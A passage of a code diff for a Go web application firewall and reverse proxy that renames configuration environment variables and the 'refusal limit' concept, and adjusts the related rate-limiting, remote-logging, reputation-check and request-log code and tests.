// refusal limit, by the window and the kind of hit.
|
||||
// error burst, by the window and the kind of hit.
|
||||
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
|
||||
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
|
||||
}
|
||||
@@ -493,7 +493,7 @@ func (m *Metrics) RuleMatched(id, action string) {
|
||||
}
|
||||
|
||||
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
|
||||
// with SWW_WAF_CORE_RULE_SET_MODE at mode.
|
||||
// with SWW_WAF_MODE at mode.
|
||||
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
||||
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// and bytes counted over a minute, an hour and a day, as the "Counting
|
||||
// method" section of SPEC.md describes, which tell when a request takes
|
||||
// the client over a rate limit or a byte limit, and each client's history
|
||||
// since it was first seen. At most SWW_WAF_MAX_TRACKED_CLIENTS clients are
|
||||
// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
|
||||
// kept, in memory, and written to clients.json and read from it by the
|
||||
// state package.
|
||||
package ratelimit
|
||||
@@ -25,7 +25,7 @@ const (
|
||||
KindRequests = "requests"
|
||||
// KindBytes is a byte limit, on a client's bytes.
|
||||
KindBytes = "bytes"
|
||||
// KindRefusals is the refusal limit, on a client's requests sww
|
||||
// KindRefusals is the error burst, on a client's requests sww
|
||||
// refused after a rule file match or for a missing or wrong token.
|
||||
KindRefusals = "refusals"
|
||||
)
|
||||
@@ -54,7 +54,7 @@ type Limiter struct {
|
||||
|
||||
// Client is a client in the table, as clients.json holds it: its buckets
|
||||
// of requests and of bytes in each window, its buckets of refusals in the
|
||||
// minute, which the refusal limit counts, and its history.
|
||||
// minute, which the error burst counts, and its history.
|
||||
//
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Client struct {
|
||||
@@ -121,7 +121,7 @@ type Responses struct {
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Offences struct {
|
||||
// Limit is its requests that broke a rate limit, a byte limit or the
|
||||
// refusal limit, Attack those that were a clear sign of attack, a match
|
||||
// error burst, Attack those that were a clear sign of attack, a match
|
||||
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
|
||||
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
|
||||
// refused.
|
||||
@@ -147,7 +147,7 @@ type Request struct {
|
||||
RequestBytes int64
|
||||
ResponseBytes int64
|
||||
// BrokeLimit is true for a request that broke a rate limit, a byte
|
||||
// limit or the refusal limit, Attack for one that matched a ban rule or
|
||||
// limit or the error burst, Attack for one that matched a ban rule or
|
||||
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
|
||||
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
|
||||
BrokeLimit bool
|
||||
@@ -157,7 +157,7 @@ type Request struct {
|
||||
}
|
||||
|
||||
// New returns a Limiter for limits, with no client counted yet, whose
|
||||
// table holds at most maxClients clients (SWW_WAF_MAX_TRACKED_CLIENTS). Past
|
||||
// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
|
||||
// it, the least recently seen client is dropped, with its history, and
|
||||
// starts afresh if it comes back.
|
||||
func New(limits Limits, maxClients int) *Limiter {
|
||||
@@ -185,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter {
|
||||
}
|
||||
}
|
||||
|
||||
// Hit is a request that takes a client over a rate limit or the refusal
|
||||
// limit, or whose bytes take it over a byte limit.
|
||||
// Hit is a request that takes a client over a rate limit or the error
|
||||
// burst, or whose bytes take it over a byte limit.
|
||||
type Hit struct {
|
||||
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
||||
// KindRefusals for the refusal limit.
|
||||
// KindRefusals for the error burst.
|
||||
Kind string
|
||||
// Window is "minute", "hour" or "day".
|
||||
Window string
|
||||
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
|
||||
// CountRefusal counts a request from client at now that sww
|
||||
// refused after a rule file or Core Rule Set match or for a missing or
|
||||
// wrong token, and reports whether the client's refusals in the minute
|
||||
// that ends at now, this one included, are more than limit, which breaks
|
||||
// the refusal limit, and the hit.
|
||||
// that ends at now, this one included, are more than threshold, which
|
||||
// breaks the error burst, and the hit.
|
||||
func (l *Limiter) CountRefusal(
|
||||
client netip.Prefix, now time.Time, limit int64,
|
||||
client netip.Prefix, now time.Time, threshold int64,
|
||||
) (Hit, bool) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
|
||||
hit := Hit{
|
||||
Kind: KindRefusals,
|
||||
Window: "minute",
|
||||
Limit: limit,
|
||||
Limit: threshold,
|
||||
Count: count,
|
||||
}
|
||||
|
||||
return hit, count > float64(limit)
|
||||
return hit, count > float64(threshold)
|
||||
}
|
||||
|
||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
const limit = 3
|
||||
|
||||
// tableSize is the most clients the tests' tables hold, the default of
|
||||
// SWW_WAF_MAX_TRACKED_CLIENTS.
|
||||
// SWW_MAX_TRACKED_CLIENTS.
|
||||
const tableSize = 20000
|
||||
|
||||
// whole is the percentage of each limit a client gets when nothing lowers
|
||||
@@ -351,9 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||
}
|
||||
|
||||
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||
@@ -363,7 +361,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
for range limit {
|
||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||
t.Fatalf(
|
||||
"a refusal within the limit of %d broke the refusal limit",
|
||||
"a refusal within the threshold of %d broke the error burst",
|
||||
limit,
|
||||
)
|
||||
}
|
||||
@@ -376,7 +374,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
}
|
||||
if !over || hit != want {
|
||||
t.Errorf(
|
||||
"one over the limit broke it: %t, with %+v; want %+v",
|
||||
"one over the threshold broke it: %t, with %+v; want %+v",
|
||||
over,
|
||||
hit,
|
||||
want,
|
||||
@@ -384,7 +382,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
}
|
||||
|
||||
// Half a minute into the next, half of those four still count, 2, and
|
||||
// this one: 3, within the limit.
|
||||
// this one: 3, within the threshold.
|
||||
hit, over = limiter.CountRefusal(
|
||||
client,
|
||||
start.Add(time.Minute+time.Minute/2),
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
// Package remotelog sends the lines sww writes on stdout to the
|
||||
// remote log endpoint, SWW_WAF_LOG_REMOTE_URL, as the "Request log" section
|
||||
// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section
|
||||
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
|
||||
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
|
||||
// or unreachable endpoint never holds up a request or stdout.
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The forms of SWW_WAF_LOG_REMOTE_URL, by its scheme.
|
||||
// The forms of SWW_LOG_REMOTE_URL, by its scheme.
|
||||
const (
|
||||
SchemeUDP = "syslog+udp"
|
||||
SchemeTCP = "syslog+tcp"
|
||||
@@ -56,18 +56,18 @@ const (
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// URL is the endpoint (SWW_WAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
||||
// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
||||
// SchemeTLS, a host and a port.
|
||||
URL *url.URL
|
||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
RootCAs *x509.CertPool
|
||||
// BufferLines is the most lines held while they wait to be sent
|
||||
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
||||
BufferLines int
|
||||
// Buffer is the most lines held while they wait to be sent
|
||||
// (SWW_LOG_REMOTE_BUFFER).
|
||||
Buffer int
|
||||
// Facility is the number of the records' syslog facility
|
||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||
// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWW_LOG_REMOTE_APP_NAME).
|
||||
Facility int
|
||||
AppName string
|
||||
}
|
||||
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
|
||||
// id and the structured data have no value.
|
||||
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
||||
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
||||
records: make(chan []byte, params.BufferLines),
|
||||
records: make(chan []byte, params.Buffer),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -250,7 +250,7 @@ func (s *Sender) send(
|
||||
}
|
||||
}
|
||||
|
||||
processLog.Warn("sending to SWW_WAF_LOG_REMOTE_URL failed",
|
||||
processLog.Warn("sending to SWW_LOG_REMOTE_URL failed",
|
||||
"error", err.Error(), "connecting_again_in", delay.String())
|
||||
|
||||
select {
|
||||
|
||||
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
||||
endpoint := listen(t)
|
||||
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
||||
endpointParams.RootCAs = roots
|
||||
endpointParams.BufferLines = 3
|
||||
endpointParams.Buffer = 3
|
||||
sender, _, _ := run(t, endpointParams)
|
||||
|
||||
// The sender connects, and its TLS handshake waits for an answer
|
||||
@@ -403,7 +403,7 @@ func (o *output) text() string {
|
||||
func params(scheme string, addr net.Addr) remotelog.Params {
|
||||
return remotelog.Params{
|
||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||
BufferLines: 10,
|
||||
Buffer: 10,
|
||||
Facility: local0,
|
||||
AppName: appName,
|
||||
}
|
||||
@@ -653,7 +653,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
||||
|
||||
err := json.Unmarshal([]byte(line), &fields)
|
||||
if err != nil ||
|
||||
fields["msg"] != "sending to SWW_WAF_LOG_REMOTE_URL failed" {
|
||||
fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
||||
t.Fatalf("logged %q", line)
|
||||
}
|
||||
|
||||
|
||||
@@ -56,17 +56,17 @@ type ChecksSpent struct {
|
||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||
type AbuseIPDBParams struct {
|
||||
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
||||
// the account's key (SWW_WAF_ABUSEIPDB_KEY).
|
||||
// the account's key (SWW_ABUSEIPDB_KEY).
|
||||
URL string
|
||||
Key string
|
||||
// MinScore is the least score that is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE),
|
||||
// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE),
|
||||
// and DailyBudget the most checks made in a day, in UTC
|
||||
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
||||
// (SWW_ABUSEIPDB_DAILY_BUDGET).
|
||||
MinScore int64
|
||||
DailyBudget int
|
||||
// CacheTTL is how long a score is used after it was fetched
|
||||
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may
|
||||
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
||||
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||
// (SWW_REPUTATION_TIMEOUT).
|
||||
CacheTTL time.Duration
|
||||
Timeout time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
|
||||
@@ -53,15 +53,15 @@ type Verdict struct {
|
||||
// DNSBLParams are what NewDNSBL needs.
|
||||
type DNSBLParams struct {
|
||||
// Zones are the DNSBL zones clients are asked about in
|
||||
// (SWW_WAF_DNSBL_ZONES).
|
||||
// (SWW_DNSBL_ZONES).
|
||||
Zones []string
|
||||
// Resolver is the resolver they are asked through
|
||||
// (SWW_WAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
||||
// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
||||
// host's, as /etc/resolv.conf names it.
|
||||
Resolver netip.AddrPort
|
||||
// CacheTTL is how long a verdict is used after it was fetched
|
||||
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may
|
||||
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
||||
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||
// (SWW_REPUTATION_TIMEOUT).
|
||||
CacheTTL time.Duration
|
||||
Timeout time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
|
||||
}
|
||||
}
|
||||
|
||||
// Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
|
||||
// Zones returns the zones, in the order SWW_DNSBL_ZONES names them.
|
||||
func (d *DNSBL) Zones() []string {
|
||||
return slices.Clone(d.params.Zones)
|
||||
}
|
||||
|
||||
// ListedBy returns the zones whose verdict on addr, a client's address,
|
||||
// lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
|
||||
// lists it, in the order SWW_DNSBL_ZONES names them, each with its key
|
||||
// masked, as config.MaskZoneKey masks it, since they go to the request
|
||||
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
||||
// passed since it was fetched. Each zone without one is asked about addr
|
||||
@@ -213,7 +213,7 @@ func (d *DNSBL) Snapshot() []Verdict {
|
||||
}
|
||||
|
||||
// Load keeps verdicts, read from dnsbl.json, in place of those it
|
||||
// keeps, but for those of a zone SWW_WAF_DNSBL_ZONES does not name, and,
|
||||
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
||||
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
||||
// more is neither used nor written, as for any verdict.
|
||||
func (d *DNSBL) Load(verdicts []Verdict) {
|
||||
|
||||
@@ -40,9 +40,8 @@ const (
|
||||
// zone and otherZone are the DNSBL zones the tests name.
|
||||
zone = "dnsbl.example"
|
||||
otherZone = "other.example"
|
||||
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
|
||||
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
|
||||
// /etc/resolv.conf
|
||||
// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their
|
||||
// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||
// can have Go's resolver wait for one server, so that it is the
|
||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||
cacheTTL = 24 * time.Hour
|
||||
@@ -466,7 +465,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
|
||||
dnsbl := reputation.NewDNSBL(p)
|
||||
|
||||
// The last verdict still in use, one fetched a TTL ago, and one of a
|
||||
// zone SWW_WAF_DNSBL_ZONES does not name.
|
||||
// zone SWW_DNSBL_ZONES does not name.
|
||||
inUse := reputation.Verdict{
|
||||
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
|
||||
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
// Package reputation fetches the lists the settings name by URL: the
|
||||
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
|
||||
// the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
|
||||
// blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines
|
||||
// SWW_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_TAG_LISTS, and
|
||||
// the decision list of the CrowdSec engine SWW_CROWDSEC_LAPI_URL names. It
|
||||
// keeps the last good copy of
|
||||
// each, whole, comment lines included, which is used while a fetch fails,
|
||||
// and when each was last tried. It also asks the DNSBL zones of
|
||||
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
||||
// today. The state package writes all of these to files and reads them
|
||||
// from there, so that a restart keeps them too.
|
||||
@@ -70,20 +70,20 @@ type List struct {
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// BlocklistURLs are the blocklists (SWW_WAF_BLOCKLIST_URLS), and
|
||||
// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and
|
||||
// ASNLimitPercentURL the file of AS:percent lines
|
||||
// (SWW_WAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||
// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||
BlocklistURLs []string
|
||||
ASNLimitPercentURL string
|
||||
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
|
||||
// TagLists are the address lists that add a tag (SWW_TAG_LISTS).
|
||||
TagLists []config.TagList
|
||||
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
||||
// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||
// (SWW_WAF_CROWDSEC_LAPI_KEY).
|
||||
// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||
// (SWW_CROWDSEC_LAPI_KEY).
|
||||
CrowdSecDecisionsURL string
|
||||
CrowdSecKey string
|
||||
// Refresh is how long after a list was last fetched or tried it is
|
||||
// fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||
// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||
// list, which is fetched again crowdSecRefresh after.
|
||||
Refresh time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
@@ -158,7 +158,7 @@ func New(params Params) *Lists {
|
||||
}
|
||||
|
||||
// URLs returns the URL of every list: the blocklists' in the order
|
||||
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
|
||||
// SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then the
|
||||
// tag lists', then the CrowdSec decision list's.
|
||||
func (l *Lists) URLs() []string {
|
||||
urls := slices.Clone(l.params.BlocklistURLs)
|
||||
@@ -178,7 +178,7 @@ func (l *Lists) URLs() []string {
|
||||
}
|
||||
|
||||
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
|
||||
// the order SWW_WAF_BLOCKLIST_URLS names them.
|
||||
// the order SWW_BLOCKLIST_URLS names them.
|
||||
func (l *Lists) ListedBy(addr netip.Addr) []string {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
@@ -34,8 +34,8 @@ const (
|
||||
dropURL = "https://lists.example/drop.txt"
|
||||
torURL = "https://lists.example/tor.txt"
|
||||
asnURL = "https://lists.example/asn.txt"
|
||||
// refresh is the tests' SWW_WAF_BLOCKLIST_REFRESH, and cooldown their
|
||||
// SWW_WAF_ALERT_COOLDOWN, longer than it.
|
||||
// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their
|
||||
// SWW_ALERT_COOLDOWN, longer than it.
|
||||
refresh = 24 * time.Hour
|
||||
cooldown = 48 * time.Hour
|
||||
// drop is a blocklist as the Spamhaus DROP list is written, with an
|
||||
@@ -118,7 +118,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
|
||||
}}
|
||||
lists := start(t, servers, params(torURL, dropURL))
|
||||
|
||||
// In the order SWW_WAF_BLOCKLIST_URLS names them.
|
||||
// In the order SWW_BLOCKLIST_URLS names them.
|
||||
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
|
||||
wantListedBy(t, lists, "203.0.113.8", dropURL)
|
||||
})
|
||||
|
||||
@@ -44,18 +44,17 @@ const (
|
||||
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
||||
|
||||
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
||||
// Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
||||
// Set scored it at or over SWW_WAF_ANOMALY_THRESHOLD.
|
||||
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
||||
|
||||
// ActionClientDenied is a request refused because its client is in
|
||||
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
|
||||
// SWW_DENY_NETS, in a blocklist while SWW_BLOCKLIST_ACTION is deny,
|
||||
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
||||
// SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in
|
||||
// SWW_WAF_TAG_DENY.
|
||||
// SWW_REPUTATION_ACTION is deny, or that carries a tag in SWW_TAG_DENY.
|
||||
ActionClientDenied = "client_denied"
|
||||
|
||||
// ActionCountryDenied is a request refused because its client's country
|
||||
// is not in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||
ActionCountryDenied = "country_denied"
|
||||
// ActionOwnEndpoint is a request waf answered at one of its own
|
||||
// endpoints, or a question about a path under /_sww/.
|
||||
@@ -63,12 +62,12 @@ const (
|
||||
)
|
||||
|
||||
// OffenceLimit is the offence a request line names for a request that
|
||||
// broke a rate limit or the refusal limit, or whose bytes broke a byte
|
||||
// broke a rate limit or the error burst, or whose bytes broke a byte
|
||||
// limit.
|
||||
const OffenceLimit = "limit"
|
||||
|
||||
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
|
||||
// that broke the refusal limit.
|
||||
// that broke the error burst.
|
||||
const LimitHitMinuteRefusals = "minute_refusals"
|
||||
|
||||
// The waf_line a request line names, which says which of
|
||||
@@ -127,7 +126,7 @@ type Line struct {
|
||||
ContentType string `json:"content_type,omitempty"`
|
||||
// ContentLength is the length of its body the request announced.
|
||||
ContentLength int64 `json:"content_length,omitempty"`
|
||||
// RequestHeaders are the headers SWW_WAF_LOG_REQUEST_HEADERS names that
|
||||
// RequestHeaders are the headers SWW_LOG_REQUEST_HEADERS names that
|
||||
// the request carried, by name in lower case.
|
||||
RequestHeaders map[string]string `json:"request_headers,omitempty"`
|
||||
HasAuthorization bool `json:"has_authorization,omitempty"`
|
||||
@@ -181,7 +180,7 @@ type Line struct {
|
||||
// LimitHit is the window whose limit the request went over, named as
|
||||
// Counts names its count: minute, hour or day for a rate limit, and
|
||||
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
||||
// LimitHitMinuteRefusals for the refusal limit.
|
||||
// LimitHitMinuteRefusals for the error burst.
|
||||
LimitHit string `json:"limit_hit,omitempty"`
|
||||
// Reputation are the URLs of the blocklists that list the client, then
|
||||
// that of the CrowdSec decision list when it does, then the DNSBL zones
|
||||
@@ -190,7 +189,7 @@ type Line struct {
|
||||
Reputation []string `json:"reputation,omitempty"`
|
||||
// Tags are the request's tags, sorted.
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
// RouteWatchTagsMissing, while SWW_WAF_ROUTEWATCH_URL is set, says why the
|
||||
// RouteWatchTagsMissing, while SWW_ROUTEWATCH_URL is set, says why the
|
||||
// request got no tags from routewatch: no_answer_yet, request_failed or
|
||||
// no_route.
|
||||
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
|
||||
@@ -234,11 +233,10 @@ type RProxyLine struct {
|
||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||
// Disposition is the valid disposition waf answered or, while
|
||||
// WAFBackendNoAnswer is true, the value of
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
||||
// gave one.
|
||||
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
|
||||
// when neither gave one.
|
||||
Disposition string `json:"disposition,omitempty"`
|
||||
WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"`
|
||||
DefaultDisposition bool `json:"default_disposition,omitempty"`
|
||||
}
|
||||
|
||||
// Write writes line to w as one JSON line marked "type":"request".
|
||||
@@ -293,8 +291,8 @@ func Milliseconds(d time.Duration) float64 {
|
||||
|
||||
// NewProcessLogger returns the logger for the process's own messages:
|
||||
// JSON lines on w, marked "type":"process", with the time in the same form
|
||||
// as a request line's, and instanceName, SWW_WAF_INSTANCE_NAME, as instance.
|
||||
// It writes only the messages at level, SWW_WAF_LOG_LEVEL, or more severe;
|
||||
// as a request line's, and instanceName, SWW_INSTANCE_NAME, as instance.
|
||||
// It writes only the messages at level, SWW_LOG_LEVEL, or more severe;
|
||||
// the request lines Write writes are never held back.
|
||||
func NewProcessLogger(
|
||||
w io.Writer,
|
||||
|
||||
@@ -81,7 +81,7 @@ type Answer struct {
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// URL is where routewatch is (SWW_WAF_ROUTEWATCH_URL).
|
||||
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
||||
URL string
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
Now func() time.Time
|
||||
|
||||
@@ -11,16 +11,16 @@ import (
|
||||
)
|
||||
|
||||
// errResponseTooLarge ends an app's response body that is longer than
|
||||
// SWW_RPROXY_MAX_RESPONSE_SIZE.
|
||||
// SWRP_MAX_RESPONSE_SIZE.
|
||||
var errResponseTooLarge = errors.New(
|
||||
"the response body is over SWW_RPROXY_MAX_RESPONSE_SIZE")
|
||||
"the response body is over SWRP_MAX_RESPONSE_SIZE")
|
||||
|
||||
// requestBody is the visitor's request body. rproxy first reads up to the first
|
||||
// 64 KiB of it into held, and then, on its way to the app, the transport reads
|
||||
// it on a goroutine of its own.
|
||||
type requestBody struct {
|
||||
// body is the visitor's body, ending in an *http.MaxBytesError past
|
||||
// SWW_RPROXY_MAX_REQUEST_SIZE.
|
||||
// SWRP_MAX_REQUEST_SIZE.
|
||||
body io.ReadCloser
|
||||
rq *request
|
||||
// held is the part read before the request goes to the app, which Read gives
|
||||
@@ -84,7 +84,7 @@ func (b *requestBody) Close() error {
|
||||
// responseBody is the app's response body on its way to the visitor.
|
||||
type responseBody struct {
|
||||
// body is the app's body, ending in an *http.MaxBytesError past
|
||||
// SWW_RPROXY_MAX_RESPONSE_SIZE.
|
||||
// SWRP_MAX_RESPONSE_SIZE.
|
||||
body io.ReadCloser
|
||||
rq *request
|
||||
}
|
||||
|
||||
@@ -17,7 +17,6 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
@@ -36,9 +35,13 @@ func TestServerHasTheFixedLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg, err := config.RProxyFromEnvironment(
|
||||
configtest.Viper(map[string]string{
|
||||
"SWW_RPROXY_WAF_BACKEND": nowhere,
|
||||
}),
|
||||
func(name string) (string, bool) {
|
||||
if name == "SWRP_WAF_BACKEND" {
|
||||
return nowhere, true
|
||||
}
|
||||
|
||||
return "", false
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v", err)
|
||||
@@ -93,15 +96,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
},
|
||||
)
|
||||
|
||||
// The visitor sends no Connection: close, so Go's server reads the rest
|
||||
// of the body before it closes the connection. Closed with the rest
|
||||
// unread, the connection is reset while the visitor still sends.
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+announcedLength(tc.size)+
|
||||
strings.Repeat("x", tc.size))
|
||||
|
||||
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
||||
t.Errorf("status %d, want 413", status)
|
||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||
bytes.NewReader(make([]byte, tc.size))))
|
||||
if got.status != http.StatusRequestEntityTooLarge {
|
||||
t.Errorf("answered %+v, want 413", got)
|
||||
}
|
||||
|
||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||
@@ -822,7 +820,7 @@ func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(
|
||||
}
|
||||
|
||||
// visitAsTheTimeRunsOut sends requests to an app that answers about as
|
||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
|
||||
// SWRP_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
|
||||
// app's 200 or a 504.
|
||||
func visitAsTheTimeRunsOut(t *testing.T) {
|
||||
t.Helper()
